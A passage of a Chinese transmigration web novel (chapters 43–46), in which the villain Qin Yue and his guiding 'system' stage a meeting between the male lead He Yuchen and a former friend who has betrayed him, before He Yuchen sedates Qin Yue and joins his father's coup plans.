水有股淡淡的异味,喝起来很怪。 这种很奇怪的味道,在贺煜臣记忆中只有一次,是在某个被感染者占领的地区。那个地方因为工业化严重,水中某些元素超标,煮完喝起来跟这个差不多。 他忍不住看了秦越一眼,对方已经面不改色地结束了晚餐,并且将垃圾收拾干净了,正好整以暇地盯着他。 摇曳的光晕里,秦越的睫毛被暖光浸透,垂落时在眼睑处投下阴影,漆黑的眸子一眨不眨,仿佛将整簇火焰连带自己都囚禁在瞳孔深处。 贺煜臣狼狈地避开视线,握紧水杯。 他不想被秦越说矫情,为了保证每天必要的水分摄入,也将水一饮而尽。 旅店的墙不隔音,外面机械巨兽的巨大轰鸣声就在耳边,它们不知疲惫地运作着,源源不断地将能源送往上城区。 机器是不需要休息的,但是人需要。 而这些机器无一不是需要人类操控的。他曾听韩明远说过,下城区的人每天至少需要做两份工,才能养活一大家子人。 巷口那个老人对秦越熟稔的态度,足以说明了一切。 贺煜臣躺在床上,感到了一丝不自在,他没有偏过头看向秦越,好像是在对空气自说自话:“你是在这里出生长大的。” 这不是疑问句,是一个肯定句。 房间里就两个人,如果贺煜臣不是在梦呓,那很明显就是在跟自己说话。 秦越没料到贺煜臣会主动朝他搭话,一时有点不知道怎么应对。 他迟疑了片刻,决定还是按原主人设,当做没有听见。 系统:[您知道吗?男主朝你问话是正常的。] 秦越:“?” 系统像精神病发作一样,哈哈大笑两声:[本来带男主来联邦的是男二号,男主会在这个过程中,听到男二描述关于下城区人们生活的种种不幸,然后更大地坚定了他想要改革的信念。] 但是,男二现在被你关起来了啊! 秦越:“……” 他听见贺煜臣那边频繁发出布料的摩擦音,知道对方辗转反侧,在试图抵抗外面巨大的噪音。 贺煜臣等了很久,睁着眼看着伸手不见五指的房间。他以为秦越已经睡着了,结果又听到从秦越的床铺那边传来的冰冷声音。 “怎么?贺少将开始对下城区生活感兴趣了。” 贺煜臣的不自在愈加强烈,也许是本就有点心虚,他觉得秦越的语气不是阴阳怪气,而是对联邦高层的无情指责。 他强装着镇定,掩饰不安,“是我的朋友曾跟我说过一些关于下城区的事情。他对这里的居民生活很是了解。而且他毕业后就在元老院任职,按理说……” 按理说,对下城区制度愤愤不平的朋友,早该对这里做出一些实质性的改变了。 可自己毕业后,就从未再见过对方,也鲜少回过首都。回来也只是匆匆与家人见面,待不了几天,就会被外派出去完成肃清任务。他完全不清楚,自己的朋友到底做了什么。 安静了足足几分钟,秦越语气古怪地说:“你的朋友不会叫韩明远吧。” 贺煜臣不说话了。 秦越反而微不可查地扬起嘴角。 本来担心故人重逢,贺煜臣会心里没有无波无澜,按系统的判定标准,可能会算任务失败。 看贺煜臣的表现,他明显把韩明远划分在朋友这一类,而且他俩理念也差不多,这比强行凑在一起要靠谱多了。 系统不合时宜地打断了秦越的好心情:[不过,我得提醒您一件事,贺煜臣的异能很快就会恢复了,现实版死神来了马上就要上映了。为防止任务失败,建议明天就让他们见面。] 秦越正有此意:“查一下韩明远的行程。” 系统:[已为您查询到韩明远的日程表。明日早上八点半前往军校选拔地点,中午十二点半去上城区一家餐厅,下午两点半参与元老院的会议,晚上八点半与未婚夫看电影。] 秦越一口气差点没喘上来,他瞪着悬在半空中的系统,“未婚夫?” 要不要听听你在说什么? 第43章 系统也很委屈,脸皱成苦瓜:[谁特么知道韩明远有未婚夫啊。] 这事确实不赖它,原文中关于韩明远的大部分剧情,都是出现在贺煜臣的回忆里,作者也没给这个配角增添太多的笔墨。 秦越:“……所以他到底是怎么被判定成白月光的?” 系统这次回答的很快,[因为他身上有白月光最重要的一点。] 它在秦越询问的目光下,自信满满地回答:[早早就死了。众所周知,白月光要么是爱而不得,要么就是已经不在人世了。] [况且这位白月光还是被男主亲自下令处决的,直接虐得读者嗷嗷叫。] 秦越思来想去,反正按任务要求只是见个面而已。他自然而然地选择了中午的时间段,准备在韩明远离开餐厅时制造这次偶遇。 他一旦做完计划,就不会再继续纠结,很快就心安理得地睡着了。 贺煜臣完全没有睡意。 他轻轻翻了个身。适应了黑暗的眼睛,带着阴郁和一点说不清楚的情绪看向秦越。 贺煜臣上辈子的记忆,截止在目睹秦越死亡的那一刻。 当时,他以眼还眼、以牙还牙地给秦越注射了抑制剂,之后毫不犹豫地将他丢在了感染者聚集区外。 然后……然后他又回到了那个雨夜。 在泥坑里动弹不得,无助又狼狈。 上一世,贺煜臣记得秦越是直接一记手刀敲晕了自己,而不是降贵纡尊地接住了他。 矛盾的情绪挤压在胸口,理智告诉贺煜臣就应该趁现在把秦越杀了。对方似乎过于信任异能弱化剂的作用,完全不清楚他已经恢复了一部分能力。 可是曾经那个秦越,跟近在咫尺的这个秦越,是同样的人么。 外面的噪音更吵了,轰隆隆得,像连绵不断的闷雷。 贺煜臣口干舌燥地从床上坐起来,摸索着下了床。 系统本就在听从秦越的命令,防止贺煜臣晚上找到机会离开,所以它一直没有休眠。 结果到了后半夜,它就在夜色里看见,贺煜臣那边的被褥被掀开,紧接着一个人影起身走了过来。 啊——死神来了! 系统不存在的鸡皮疙瘩要起一身了,它目瞪口呆地看着这酷似恐怖片的场景,卡顿了片刻,才鬼哭狼嚎地在秦越耳畔大喊:[醒醒!快醒醒!贺煜臣要来杀你了!] 秦越在系统贴过来的时候,差不多就醒了。 他的心脏跟着系统的大叫卡上了节奏,心跳声一下比一下响。 秦越是侧躺着的,他小心翼翼地把贴近枕头的眼睛睁开一条缝。 先落入眼帘的是贺煜臣的腿。 秦越的心跳到了嗓子眼,这让他意识到,对方是近距离地站在自己的床头。 只要贺煜臣想,瞬间就能取走自己的命。 秦越:……淦。 按照原主的个性,在睡觉前肯定把人绑个结实。 可惜秦越在反派这个领域还是涉足未深,没有太多经验。 就当秦越准备睁开眼,跟贺煜臣来场摊牌的互殴,眼前的腿动了动。贺煜臣迈着很沉重的步伐离开了,像是做了一个艰难的决定。 过了几秒钟,传来倒水的声音,贺煜臣似乎是渴极了,喝得太快把自己呛到。他压抑着咳嗽声,轻轻把杯子放回桌子上,然后又回到了床上。 秦越一动不敢动,他保持着同样的姿势,一直等到系统告诉自己,贺煜臣进入了睡眠的状态,才在床上大幅度地摊开手脚。 “他在干嘛?”秦越捂住还没缓过劲的胸口。 无论是谁,大半夜睁眼,发现有人一声不吭地站自己床前,反应绝对都跟他差不多。 系统:[这还用问吗?] 它在绝望中爆发:[有0.01%的可能性,贺煜臣是因为好心来关注您的睡眠质量,还有99.99%的可能性,是想把您直接弄死,报仇雪恨。] 秦越:“我又不是眼瞎,我是问他怎么没动手。” 系统紧急撤回了一条死遁的申请,刚才它还以为宿主差点小命不保:[也许贺煜臣变得保守了吧,吸取了以前逃走失败的经验,认为现在没有百分百的把握就放弃了。] 秦越半信半疑,但他眼下可不敢继续闭上眼了。 万籁俱寂中,两人角色互换。 这次睡不着的人变成了秦越。 外面机器的运转声中,逐渐掺杂上了三三两两模糊的人声。 秦越疲惫地眨了眨眼,“做一份路线规划,前往韩明远中午所在的餐厅,记住尽量避开有监控的街道。” 系统也是一晚上提心吊胆,眼看任务马上就要有所推进了,它在这紧要关头,也是一口气不敢松,[好的,已查出联邦政府所有的监控部署,附加路线指令:避开警察署、元老院等危险地点。] 很快,一份路线图出现在投屏上。韩明远去的餐厅出乎意料的普通,并不是位于寸土寸金的上城区商业圈,再多走几公里,就要到下城区了。 这无疑让秦越的行动变得更方便。 按照秦越的计划,见完面之后,他会下令让手下把顾夜霖放出来。 按原剧情,圣母男二会整合自己的部下投奔贺煜臣,之后自己差不多就可以去死了。 秦越他们落足的地方,离餐厅还有些距离,秦越决定提前过去守株待兔。 旅店老板因为昨天秦越出手阔绰,今早态度明显好了很多,还帮忙为他们叫了一辆车。 贺煜臣摸了摸脸上的面具,略感不适。但不知目的地是哪,更让他无法安下心。 他想压下内心的烦躁,坚持到坐上了车,他还是生硬地开口:“你方向是不是错了?” 贺煜臣意思是如果秦越想把他送到总统府,路线不是这个方向。 司机以为贺煜臣在跟自己说话,他立刻开口反驳:“哎!别瞎说啊,我可没有绕道,就是这个方向。” 他指了指自己面前屏幕上的导航:“我可是根据你们提供的路线老老实实地开的。” 贺煜臣清晰地看见秦越要去的地方。 只不过,跟他想的完全不一样。 如果他没记错的话,那个位置是联邦第五军团所在地。 ……而第五军是他的直属部下。 秦越不知道这个巧合,他只是故意没有告诉司机真正的目的地,准备在离那家餐厅还有一点距离的地方下车,这样就算联邦查到他的行踪,也一时没办法确定他究竟要去哪。 系统心中只有终于要把任务完成的感叹:[见完面之后,您的打算是什么?] 秦越望着窗外,言简意赅:“去死。” 对于原主这个反派,他的结局不会因为男主是否重生而改变。 系统安慰秦越:[没关系,被贺煜臣打窝不会痛的,感染者准备咬第一口的时候,咱们就脱离世界了。] 心中虽然很困惑,可贺煜臣见秦越一直面无表情,他也不好再说什么。 下车后,秦越似乎有什么心事,压根没有注意到十几米开外,正站在门口执勤的士兵,他垂眸直接走过了军部大门。 贺煜臣故意放慢,落下一点距离,朝着站岗的人打了个手势。他轻轻抬了一下面具,让对方看清自己的脸。 训练有素的士兵没有当场惊叫出来,他看出来氛围不对,立刻示意另一个执勤的跟上贺煜臣,自己则立刻跑进军团汇报上级。 秦越一直在听系统絮叨,[您还记得贺煜臣跟白月光见面的时候,要产生那种恍若隔世的复杂感情吧。] 秦越沉默了,“这事又不是我说了算。” 他委婉地说:“这个世界任务完成度估计到不了百分之五十。” 系统:[……您知道就好。] 他们一前一后的走着,已经快到韩明远订的那家餐厅。 秦越突然一个急停,挡住了贺煜臣的去路。 贺煜臣:“?” 秦越半推半揽地带人转了个弯,让贺煜臣在街旁的长椅上坐下,语气冷淡:“你在这等我一下。” 长椅两旁都是一人高的花架,贺煜臣茫然地落座,还没说什么,秦越几步转了个弯就不见了,花架完全阻挡了贺煜臣想追寻着秦越的目光。 “少将。” “花架”说话了。 贺煜臣偏头扫了一眼鬼鬼祟祟躲在花架后的部下。 “长话短说。”贺煜臣一边紧盯着秦越离开的方向,一边微微侧过头问道:“红杉会那边什么情况?” 红杉会是总统所在的派系,宗旨是极端的优胜劣汰主义。就跟红杉林的顶端优势生态一样,红杉会将资源优先分配给高度生长,而非侧枝扩展。对应了舍弃了下城区的“侧枝”,保证特权的“高度”。 部下举着一个花盆,露出一张紧张兮兮的脸:“红杉会说您死于升棺之手,本来之前舆论占优的共辉盟现在公投大劣。” 作为两个人数最多的政党,红杉会和共辉盟公投时的地票数总是相近。 联邦少将被雇佣军杀害的传言沸沸扬扬,主张吸纳废墟遗迹流民的共辉盟,因此被影响了选票。 贺煜臣心念一转,知道了总统是想一箭双雕。 “您是怎么回来的?刚刚那个人是谁?” 部下一肚子问题,等不到回答,他眼睁睁地看着贺煜臣朝他竖起食指做了一个噤声的动作。 秦越一离开贺煜臣的视线范围,脸立刻垮了下来,质问系统:“韩明远怎么是跟他未婚夫在一起?!” 系统也是大惊失色:[我也不知道啊!他日程表只写晚上看爱情电影,是因为要跟未婚夫一起。中午又没写跟谁再一起……] 秦越刚刚差点心脏骤停,他隔着餐厅擦得光亮的玻璃,就看见韩明远跟某人交换了一个缠绵悱恻的吻。 第44章 “……”秦越低声暗骂道:“幸好贺煜臣没看见。” 不然别说恍若隔世感了,只有撞到前同学亲密行为的尴尬了。 轻轻的声音从背后冒了出来:“没看见什么?” 秦越转过身,才发现贺煜臣不知什么时候跟了过来。 他仓促地遮挡着贺煜臣的视线,“你过来干什么?” 这话落在贺煜臣的耳边,却有些刺耳和怪异。明明自己作为一个“囚犯”,没有趁机逃走,还把命运的牵绳重新交还给对方,而看管他的人却反而不高兴了。 贺煜臣下意识抬眼,从秦越闪躲的眉眼中,他感觉秦越在隐瞒什么事。 贺煜臣扫视一眼周围,之前也是在这个地方,秦越变得不太对劲的。贺煜臣准备往旁边挪一步,想看看前面什么情况,他刚微微侧过身,秦越不知是故意还是巧合,也跟着他的动作走了一步,不偏不倚地挡在了他面前。 贺煜臣:“……” 他不信邪地又往旁边挪了挪,秦越继续如影随形地跟了一步。 就算是傻子这会也该知道了,对方不想让他看到什么东西。 贺煜臣盯着秦越看了几秒,隐藏在面具下的嘴角忍不住翘了翘。秦越这种手足无措的慌张,无意间让他愉悦。 秦越余光中看见一个身影走了过来,烦躁地捻了捻指尖,暗道还是让韩明远找来了。 他们确实在餐厅窗边耽误了太久了。 韩明远早就接到秦越已经入境的通知,并且文件里面同步告知所有人,秦越还带了另一个人入境,从身形判断,很可能是贺煜臣。 总统得知之后,根本来不及勃然大怒,只有如坠冰窟的恐惧。 红杉会内阁秘密讨论,认为秦越是想逼迫他们交出更多的权益,否则就要曝光贺煜臣没有身故,甚至可能会直接把红杉会是幕后黑手的事实捅出来。 韩明远观察了几分钟,因为等他注意到秦越时,秦越一直是背对着他。他依靠通知上的照片,对比了半天,还是不确定。 但这种只有一点可能性的机会,韩明远也不会放过,他让未婚夫等自己一会,就推开餐厅的门,朝着那个疑似秦越的身影走了过去。 直到打了个照面之后,韩明远还是不敢相信,这个进了首都之后就再也没了踪迹的人,会出现在自己的附近。 韩明远走近秦越,客气地行了个礼:“秦先生怎么来联邦做客,也不提前说一下。” 事到如今,秦越看着跟闷葫芦似的贺煜臣,知道这任务是完犊子了。 秦越视线淡淡扫过韩明远的脸,对方长着一张文质彬彬的脸,看着就像学校里的那种三好学生。秦越心情很差地说:“关你什么事。” 韩明远跟他的总统爹一样,能屈能伸,忽视了秦越不客气的态度。 他抬起手臂想揭开贺煜臣脸上的面具,“这位是……” 韩明远还没碰到面具的边缘,就被一股力量紧紧的定在半空中,周围的空气好像变成一堵无形的墙,让他挣脱不得。 秦越冷笑:“你算什么东西,敢乱碰我的资产。” 韩明远一听这话,就有了判断。之前把贺煜臣送去升棺的人回来之后,十分的忿忿不平。 他们说秦越大言不惭,说什么进了他地盘的都是他的资产,他们认为秦越简直难以控制,万一秦越不让他们继续拿贺煜臣做实验也说不定。 人,而且还是资产。 韩明远基本已经确定对方就是贺煜臣。 贺煜臣一直很沉默。 为什么韩明远会认识秦越?而且他的态度可以说是……恭敬。 不好的猜想在心中翻滚着,贺煜臣难以置信,但更多的是失落。 韩明远变了。 秦越看着韩明远蠢蠢欲动的样子,接着果不其然的,系统的声音响起:[韩明远这小子不老实!他偷偷把贺煜臣在这里的事情报告给他爸了!] 系统也是被韩明远的操作给弄懵了,它没料到白月光怎么一眨眼功夫就叛变了,气得它哇哇大叫。 秦越了然,怪不得原文里贺煜臣会不愿意见韩明远。 秦越不是很了解贺煜臣,但当初听到系统说的剧情后,也不觉得贺煜臣是因为生气,才会不分青红皂白地就把韩明远杀了。 小说里没讲具体原因,只说贺煜臣杀了原主,带着雇佣兵回到联邦后,就联合自己的部下发动政变,把总统派系的人直接关进监狱。秦越估计贺煜臣是在韩明远入狱的这段时间,已经查清了韩明远手脚不干净,自己遭到的背叛韩明远也出了一份力。 秦越皮笑肉不笑地拽过贺煜臣,表情很冷:“韩执政官,你似乎不欢迎我。” 韩明远只在视频中见过秦越,这严格意义上来说,是跟秦越的第一次见面。 他父亲也多次叮嘱过他,虽然秦越脾气暴戾,心思难猜,但日后他免不得要跟秦越打交道,要提早适应。 韩明远被秦越肃杀的语气给吓住了,特别是秦越的眼神,仿佛已经看穿了一切。 他声音像是僵在喉间,半晌才挤出一个假笑:“您说笑了。” 秦越没理他,只是侧过头,看似狎昵地贴近贺煜臣的耳畔。 “等会要是不想死,就跟着我。”他重重地捏了一下贺煜臣的手腕,“懂了么?” 贺煜臣看着他,配合地点了点头。 不过在韩明远看来,昔日风光无限的同学,让他眼红的天之骄子,如今委曲求全,连反抗都不敢,只能被迫接受对方所有的轻佻。 韩明远突然莫名的一阵幸灾乐祸。 秦越不想虚与委蛇,拉着贺煜臣转身就走。 韩明远没搞清楚自己是怎么惹怒了这尊大佛,但是他万万不能让秦越带着贺煜臣离开,心念一转,当即就要拦住秦越。 秦越似笑非笑:“你这是什么意思?” 要不是怕在这里闹事动静太大了,他早就让韩明远在地上躺着了。 韩明远硬着头皮:“秦先生远道而来,我希望您可以来总统府做客。” 秦越眉头皱起,本就冷厉的面容愈发带着杀意,如同择人而噬的凶兽。 他已经听见系统的急报,韩明远呼叫的党卫军已经离他们不足一个街区了。 秦越知道韩明远是硬拖着不让自己走。他啧了一声,心道麻烦。 秦越朝着韩明远微微一笑,可举动却跟笑容截然相反。他直接出手按在韩明远的心口上,对方体内的气压瞬间被他操纵。 韩明远没料到秦越如此不给联邦面子,他瞪着秦越泛起暗红色的眸子,脸上还带着震惊,就跟被抽了骨头一样,软软倒下了。 他的未婚夫还坐在餐厅里,不久前韩明远告知他外面有一个朋友,自己需要出去打个招呼,让他在餐厅里等一会。 未婚夫一直关注着外面,见状立刻冲了出来。 在贺煜臣惊讶的眼神中,秦越牵起他的手,甩开了追着他们的人。 秦越稍低的体温在手腕上,触感分明。 贺煜臣想极力忽视这种肌肤相接的感觉,他只来得及问一句:“怎么了?” 秦越不理他,实在不是他不想说话,而是原主这幅身体好似强弩之末,刚才只是用了一点点能力,他已经能感觉到奇怪不适感。 贺煜臣感受到对方握着自己的手越发的用力,他刚开口:“你……” 雪花般的片段画面在脑海深处疯狂重组。 雨声。 有人牵着他在雨夜里走。 周围有无数的霓虹灯,在视野里迸裂成了迷离的光斑。 贺煜臣的太阳穴突突跳动,目光落在眼前人的背上,可是下一秒,对方的衣服像是被雨淋湿了,而自己却被笼罩在黑伞下,被照顾得无微不至。 幻觉和现实在贺煜臣眼前交叉闪烁着,贺煜臣难以遏制地想抚上对方被雨淋湿的臂膀,问他冷不冷。 秦越感觉贺煜臣的动作变慢了,他奇怪地侧头看了贺煜臣一眼。 对上秦越野兽般的红瞳,贺煜臣胸口猛地一跳。 秦越……会死么? 贺煜臣手指深深扣进掌心,但面上依旧敛去其他的表情,跟上了秦越的步伐。 系统在上个世界不仅看了太多影视剧,获得部门“阅片无数”的名号,更是在闲暇时间通关无数游戏。 它现在颇有一种在玩冒险类游戏的感觉,而宿主就是它正在操控角色。 [左边左边。]系统看着联邦的地图,[往前进小巷子,看到那个只有一人缝隙大小的岔路口了吗,快挤进去然后就可以穿到另一个社区。] 秦越在系统条理清晰地指挥下,摆脱了追逐他们的党卫军。 系统刚关闭掉城区路线图,就看到了难以置信的信息提醒,它戳了戳秦越:[任务完成了。] [虽然您可能不相信,但是任务完成了。] 刚刚经历完生死逃亡,秦越脑子还晕乎乎的,恍惚了片刻,才反应过来系统的意思。 怎么可能? 贺煜臣脑子出问题了? 秦越心情有点微妙。 对待一个分分钟就要置他于死地的韩明远,贺煜臣是怎么能产生系统所说的,对往事追忆从而难以自拔的情绪。 难道是因为韩明远跟贺煜臣记忆中的形象相差甚远,所以他心中喜怒交加,复杂难言。 系统问秦越:[宿主任务百分之五十了,要脱离么?如果继续完成事业线的话,可以增加一些完成度噢。] 秦越想了想说:“继续吧。” 事业线不就是去送个死嘛。这在秦越看来,跟躺平白送没啥区别。 在他们脱困后,秦越就松开了贺煜臣。 贺煜臣一直被紧紧攥住的手腕,这会突然感到一阵空落落的。 幻觉消失了—— 作者有话说:秦越:你就说这任务完没完成吧() 第45章 贺煜臣努力忽视这种失落感。 他觉得自己再不问,就要被秦越逼疯了,“你为什么要救我?” 任务既然已经完成了百分之五十了,秦越陡然有种破罐子破摔的心理,无所谓道:“我想做就做了,单纯看他不顺眼。” 贺煜臣心里突然感到有些可笑。 曾经义愤填膺的同学就这样在权力的腐蚀下,变成了这幅让他不敢相认的模样,而一直对自己没什么好脸色的秦越,反倒是始终如一。 秦越从不掩饰他对联邦高层的厌恶,态度相当的坦然,因为秦越知道做错事的不是他自己。 高层都心知肚明,只是靠着下城区人麻木和劳作,他们才能坐享其成。 贺煜臣仓皇地想着,那自己呢? 在秦越心里,自己是不是也是这样的人。 贺煜臣垂下眼睫,压抑地吐出一口气,“我跟韩明远也没有什么区别……” 秦越下意识反驳:“你跟他不一样。” 别把自己跟渣滓相提并论。 贺煜臣虽然一直在外,不清楚下城区的事情。但好歹他那么拼命,是为了获得更多的资源。他以为这样可以让所有人都活的舒服一些,可奈何联邦政府高层不做人。 贺煜臣若有所思,忽然上前一步:“你觉得我跟他不一样?” 秦越觉得哪里变得有些不对劲。 看着贺煜臣执着的眼神,还没等他品味出哪里不对,他们藏身的这个小巷子的不远处,有了一些细细密密的脚步声。 秦越顿时警觉起来,他陡然沉下眉目,挡在贺煜臣身前。 他们明明已经摆脱了党卫军,这些出现在巷口且身着军装的人又是谁? 秦越目光掠过这些人,从对方胸章上的图案,他知晓了他们的身份。 胸章上是枯萎了一半的生命树。 这是为了纪念着异变后变为感染者的同胞们,而另一半依旧生机蓬勃的枝条,则象征着人类生命延续的源源不息。 它还有另一层意义,是贺氏执掌的第五军团的标志。 他们……是贺煜臣的人。 秦越脑海中刚闪过这个念头,后颈就传来转瞬即逝的刺痛感。 他错愕地转身看向贺煜臣,对方紧抿着双唇,手上的注射器俨然已经空了。 冰凉的液体顺着血管一路而下,秦越脑子蓦然一片昏昏沉沉,他只来得及做出一个不敢置信的表情。 贺煜臣并没有袖手旁观,也没有看着他狼狈倒地的意思,反而伸出手,轻而易举地接住了他。 秦越死撑着不愿阖上眼,生怕一失去意识,剧情线也崩了。 他不能让贺煜臣在这里把自己杀了,他必须在剧情里确定的地点,成为感染者的目标。 “你不能在这……杀了我。”秦越艰难地说道。 他以为自己很用力地按住了贺煜臣的肩膀,可是在贺煜臣看来,这种推拒的力气轻飘飘的,跟玩闹也没什么区别。 贺煜臣只是垂眸看着自己,脸上没有什么表情。 秦越的心里拔凉拔凉的,并且还不清楚贺煜臣给他注射了什么东西,正当他胡思乱想地时候,温暖的手掌覆在他的眼上,带来一片令人心悸的黑暗。 “睡吧。”贺煜臣平静地声音近在耳边,“睡醒了,就什么都过去了。” …… 秦越心道这是一觉睡到下辈子了吧。 但是手上带着暖意的体温像极了恰到好处的阳光,让秦越本就渴望沉入休眠的意志顿时松懈下来。逐渐地,外界的感知变得模糊,他对身体的控制权彻底失去了。 “少将。”部下行了一个军礼,他看了看秦越,又看了看贺煜臣,欲言又止。 之前士兵跟贺煜臣在街角接上头时,技术员就已经偷偷地将贺煜臣脚环上的定位权限,改到了他们军方手上,他们才能找的如此顺利。 贺煜臣调整了一个姿势,直接搂住秦越的腰,让陷入深度睡眠的秦越靠得更舒服,然后抬眼看向部下。 部下眼观鼻鼻观心,装作什么都没看见,连忙低声说道:“韩明远目前已经紧急就医了。红杉会准备要封锁城区,实行宵禁,按户逐一排查可疑人物。” 贺煜臣面色未改:“看样子,这个可疑人物也包括我了。” 部下听出了贺煜臣话里的冷意,“目前红杉会也只是无头苍蝇。您还活着的消息,已经告知元帅了。您看,要不要先去与元帅会面。还有,元帅他……很生气。”部下小心翼翼地继续说着,“不仅是对总统……”他眼神飘忽地落在秦越身上。 贺煜臣顿了顿,“我马上就去见父亲。” 部下等着贺煜臣说的这个马上。 马上了好一会,少将也没松开怀里人的打算。 部下:“……” 他收起凝滞的表情,从容不迫地说:“我会将秦先生送至安全屋的,少将您就放心吧。” 部下身为准将,眼力见还是有的,他挥手安排了几句,就有几辆不起眼的车陆陆续续地停在街边,像是在等着揽客。 “少将,安全起见,我们还是分开出发吧。” 贺煜臣知道自己父亲眼里容不得背叛,自己的性格多多少少也是遗传了他。贺煜臣几乎能想象到父亲知道真相后,暴跳如雷的样子。 “好。”贺煜臣准备先稳住父亲的脾气,“我见过父亲就回来。” 部下:“……” 大可不必。 见鬼,少将怎么好像失心疯了一样。 部下纳闷地盯着秦越,他倒是认得这个臭名昭著的雇佣兵,但少将的态度,实在是捉摸不透。 这些车分隔了几分钟出发,到了街上后瞬间汇入车流。等到红杉会查到他们的踪迹,去查车辆的牌照,也只能查出来是套牌的。 过了数个小时,秦越是被系统喊醒的。 系统一把鼻涕一把泪:[1027号,您还活着吧?] 它最担心的事情终于发生了。 在废墟遗迹的时候,它就觉得贺煜臣想刀人的心是藏不住的。特别是住在下城区旅馆里的那一晚,吓得它魂不附体。 秦越从黑暗中惊醒,他额角隐隐作痛,缓了半天才开口:“贺煜臣给我注射了什么东西?” 系统:[只是安眠加上镇定剂,外加一点肌肉松弛剂。] 秦越:“是吗……” 他又不是什么洪水猛兽,至于那么防他么。 “这是哪?”秦越透过墙上仅有半尺的窗往外看,发现外面也是一堵堵水泥墙,“是地下室?” 系统:[对的,这里是一处安全屋。] 秦越没搞懂贺煜臣想干什么,走到门口,拧了拧门把手,发现自己被反锁在这间房子里了。 他松开门把手,迟疑道:“这是什么新的报复方式吗?” 系统心有余悸:[不会是报复您之前把他关起来吧。] 秦越抹了把脸:“还好还好。” 还好之前没对贺煜臣做不人道的事情,这人真的是睚眦必报。 秦越回忆着之前身体的不适感:“原主因为劣质抑制剂导致身体衰败,为什么会影响到我?” 按理说,助攻局身体都是员工自己的。 系统:[这个是为了符合人设,如果你使用异能没有影响,会被小世界怀疑的。] 秦越脸色一僵,还没说什么,系统已经懂了他的意思:[只有这个,其他没有!] 或许是随手把韩明远撂到后,异能压迫产生的负荷感让秦越感到不安,他现在不敢用异能把门锁弹开。 系统敏锐地听到门外的动静:[宿主有人要过来了。] 秦越收敛情绪,立刻轻手轻脚地躺回到床上,装作从来没醒过的样子。 随着房门被打开,本来不真切的声音变得明朗起来。 进来两个人,看见秦越还一动不动地躺在床上,互相对视一眼交谈起来。 “还没醒么?” “看起来少将当时下手真狠啊,得注射了多少毫升的药剂啊。”其中一个人像是在翻阅着什么,纸张哗啦啦作响,“他体征不太正常,多处器官都有衰竭的迹象。” 另一个人瞬间接话,语气很是八卦,“所以说劣质抑制剂的事情是真的了。” “问题来了,就这具破烂身体,少将还让我们治好他。这不是开玩笑么。” “做个样子就行了。抽血送去化验,少将问起来,就说我们在尽力。” 消毒水的气味在房间里弥漫,采血针扎入血管时,秦越尽可能地放松,以免让人瞧出来他在装睡。 “他体温又降低了。”来人拔出采血针,“观察一下吧,免得低温症了。” 两个人记录好数据,拿着血样一前一后地出去了。 系统目瞪口呆地听完这两人的当面蛐蛐,[这就放弃治疗了?] 秦越的表情太过冷淡,以至于系统觉得秦越没听清刚才的对话。 它急得团团转,[还有个坏消息我还没说,您就被男主偷袭了。白月光进医院了,生死未卜,任务完成度从50%跌下来了。我们现在唯一的希望,就是把事业线补充完整了。] 秦越低头看了一眼刚刚取血的皮肤,他的凝血系统也出现了点问题,针眼处已经泛起了青紫色。 他稳住系统:“别急,剧情里说过贺煜臣将雇佣军也收至麾下。这说明他一定会再次回到废墟遗迹的,也许就是那个时候,贺煜臣才会拿我杀鸡儆猴。你刚刚不是听到了么,他不希望我那么早就死。” “因为我死在这个地方,对他来说一点用都没有。” 系统似懂非懂,但是优秀员工说得话一定有道理。 秦越尽量舒展手臂,免得血液不畅让本就淤青的地方更严重。 他得让自己死的有价值一点。 至少不能死在这个没人知道的联邦地下室里—— 作者有话说:什么叫一心赴死,这就是优秀员工的觉悟(bushi) 第46章 元帅府邸伫立在整个联邦的最高处,原址是从前贵族在灾难降临后抛弃的城堡。 白色方石垒造的城墙跟周围现代化的建筑,形成某种和谐的对照。 元帅一言不发地听贺煜臣讲完全部的事情。 他额头上有一个深深的伤疤,随着贺煜臣的陈诉,时不时皱眉牵扯着疤痕。 元帅南征北战,与无数感染者交过手,虽然大部分感染者智商不足,只知道捕食人类,但跟获得异能的人类一样,它们也在慢慢地进化着。 特别是近十几年来,军队已经碰到过数个不对劲的感染者了。它们懂得一些简单的策略,比如说假装败逃,实则是想引诱人类深入它们的大部队,然后把人类一网打尽。 感染者的智力在增长。 元帅把这个可能性在议会上阐明。 可惜大部分人说他这是危言耸听,并认为不能跟普通公民说这件事情,以免引起不必要的恐慌。毕竟军队遇到的只是零星个例,这并不能说明感染者集体发生了进化。 一群不敢直视真相的缩头乌龟,在会议上遵从内心地待在“壳里”。 元帅本就因为这些事,对红杉会带领的议会颇有微词,觉得他们领导高层十分软弱,沉迷在和平的假象中不愿醒来。 “联邦的某些观念……过于根深蒂固了。”贺煜臣站在窗边,哪怕站在联邦最高处,他也眺望不到死气沉沉的下城区。 那些人就像被社会无视的蝼蚁,在阴暗处苟延残喘地活着。 贺煜臣:“这样的社会结构太畸形,也太危险。” 下城区的人能忍多久,又能为特权阶级心甘情愿地燃烧自己到什么时候。 这完完全全是一场赌博。 元帅明白了他的意思,贺煜臣是要站在共辉盟的立场上了。 目前总统是红杉会推举上去的,军方若是支持共辉,局势肯定会逆转。联邦一直军政分立,如果他们这么做的话,足以引起一场大动乱。 可总统派系确实愈发的猖狂过分,已经把手伸到军队内部,还胆敢谋害他儿子。 他在想,这群人得知贺煜臣可能再也回不到联邦之后,是不是在自己心焦的每一个夜里,弹冠相庆。 是可忍孰不可忍。 元帅被风霜雕刻的脸上,陡然生出一股决绝。 联邦已经是一潭死水,也许是时候发起一场政变了。 政变确实会让这个社会长久依赖的脆弱平衡被打破,但这何尝不是一种刮骨疗毒。 元帅赞同了贺煜臣观点的同时,突然话题一转,“听说你把人留下了。” 贺煜臣没有隐瞒:“是的,父亲。” “为何不直接杀了他,留下这么个隐患也是麻烦。”元帅早就听属下大致讲完了情况,知道贺煜臣失踪这些天一直被困在哪里,他自然不可能对秦越有什么好脸色。 贺煜臣对上父亲深沉的目光,他不动声色地回道:“秦越在雇佣兵中声望很高,可以说是流民中的隐形领袖。我不想跟他们关系闹得太僵。必要时,我认为这些人也可以成为我们的助力。” 元帅收回视线,不咸不淡地说:“你比我想象的要稳重了,我本以为你会为了一时之快,直接把他杀了。” 贺煜臣垂下头,没有说什么。他之前还担心父亲会怒不可遏当场要了秦越的命。 元帅起身,拍了拍贺煜臣的肩膀:“你母亲很想念你,但现在不是见她的时候。你跟我见过面的事情,我也会遮掩过去。接下来你的任务是整合废墟遗迹的力量,到时候里应外合,让他们措手不及。” 贺煜臣无声地点了点头。 